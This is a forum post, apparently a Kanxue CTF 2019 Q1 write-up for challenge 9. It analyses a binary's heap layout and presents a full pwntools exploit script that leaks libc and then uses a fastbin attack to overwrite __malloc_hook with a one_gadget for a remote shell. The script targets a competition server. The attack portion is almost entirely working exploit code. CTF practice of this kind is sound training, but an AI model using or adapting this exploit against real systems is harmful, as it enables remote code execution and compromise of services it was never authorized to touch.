首页
社区
课程
招聘
看雪CTF2019Q1-第9题
2019-3-19 00:50 2719

看雪CTF2019Q1-第9题

2019-3-19 00:50
2719
checksec candcpp
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

功能
1. malloc
2. free
3. new
4. delete
5. puts
6. exit
>> 

创建malloc/new
nblock=(len+14)/15;
g_ary_ptr[ary_index] = fn(nblock);
g_ary_block_size[ary_index] = nblock;

struct st_malloc_block{
	QWORD unused;
	char buf[16]; //初始化为0
};

struct st_malloc {
	st_malloc_block[nblock]; // << ret_ptr
};

struct st_new_block {
	QWORD vtbl; //delete时会判断vtbl[0], 如果不是0x400F20就会调用 
	char buf[16]; //初始化为0
};

struct st_new {
	QWORD nblock;
	st_new_block[nblock]; // << ret_ptr
};

利用思路
1. delete掉malloc出来的内存, 触发析构函数free掉内存中间的部分, leak libc地址
2. fastbin attack修改malloc_hook为one_gadget -> get shell

利用脚本
from pwn import *

if args['IDA']:
    target_file = './linux_server64'
    context.binary = target_file
else:
    target_file = './candcpp'
    context.binary = target_file

if args['DEBUG']:
    context.log_level = 'debug'

if args['REMOTE']:
    io = remote('154.8.222.144', 9999)
    libc_path = './libc-2.23.so'
    libc = ELF(libc_path)
    malloc_hook = libc.symbols['__malloc_hook']
    main_arena_top = malloc_hook + 0x68
    one_gadget = 0xf1147
else:
    io = process([
        target_file
    ])
    print('libc: %x' % io.libc.address)
    libc_path = '/lib/x86_64-linux-gnu/libc.so.6'
    libc = ELF(libc_path)
    malloc_hook = libc.symbols['__malloc_hook']
    main_arena_top = malloc_hook + 0x68
    one_gadget = 0xf1147


def x_send_blocks(ary, adjust):
    io.sendlineafter('Please input length of the string', str(len(ary) * 15))
    io.recvuntil('Please input the string')
    for i in range(len(ary)):
        if len(ary[i]) > 15:
            ary[i] = ary[i][:15]
        if adjust:
            if len(ary[i]) < 15:
                ary[i] = ary[i].ljust(15, '\x00')
        io.send(ary[i])
        if (not adjust) and (len(ary[i]) < 15):
            break
    return


def x_malloc(ary, adjust=True):
    io.sendlineafter('>> ', '1')
    x_send_blocks(ary, adjust)
    return


def x_free(n):
    io.sendlineafter('>> ', '2')
    io.sendlineafter('Please input index of the string', str(n))
    return


def x_new(ary, adjust=True):
    io.sendlineafter('>> ', '3')
    x_send_blocks(ary, adjust)
    return


def x_delete(n):
    io.sendlineafter('>> ', '4')
    io.sendlineafter('Please input index of the string', str(n))
    return


def x_puts(n, tail):
    io.sendlineafter('>> ', '5')
    io.sendlineafter('Please input index of the string', str(n))
    buf = io.recvuntil(tail)
    return buf


def test():
    io.sendlineafter('Please input your name: ', 'z')

    x_malloc(['x'])  # index=0

    main_ptr = 0x4011C0
    null_ptr = 0x401228
    free_ptr = 0x602068
    s = string.digits + string.uppercase + string.lowercase
    ary = []
    for i in range(27):
        ary.append(s[i]*15)
    x_new(ary)  # index=1

    ary = []
    ary.append('0' * 15)
    ary.append(p64(0x00) + p64(main_ptr))  # main_loop
    ary.append(p64(0x91) + p64(free_ptr))  # free
    ary.append('3' * 15)
    ary.append('4' * 15)
    ary.append('5' * 15)
    ary.append('6' * 15)
    ary.append('7' * 15)
    ary.append(p64(0x21)+p64(0x00))
    ary.append(p64(0x00)+p64(0x21))
    x_malloc(ary)  # index=2
    x_malloc(['placeholder'])  # index=3
    x_delete(0)
    x_malloc([''])  # 0x20, index=4
    buf = x_puts(2, '5'*8)
    v = u64(buf[-8-6:-8].ljust(8, '\x00'))
    libc_base = v - main_arena_top
    print('libc_base: %x' % libc_base)

    x_malloc(['']*4)  # 0x70, index=5
    x_free(5)

    ary = []
    ary.append('0' * 15)
    ary.append('1' * 15)
    ary.append('2' * 15)
    ary.append(p64(0x71) + p64(libc_base + malloc_hook - 0x23))
    ary.append('4' * 15)
    ary.append('5' * 15)
    ary.append('6' * 15)
    ary.append('7' * 15)
    ary.append('8' * 15)
    ary.append('9' * 15)
    x_free(2)
    x_new(ary)  # overwrite fastbin(0x70)

    x_malloc([''] * 4)
    x_new([('\x00'*3 + p64(libc_base + one_gadget)).ljust(15, '\x00'), '\n', '\n', '\n'], adjust=False)

    io.sendlineafter('>> ', '1')
    io.sendlineafter('Please input length of the string', str(1 * 15))
    io.interactive()
    return


test()


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2019-3-19 00:54 被风间仁编辑 ,原因:
收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回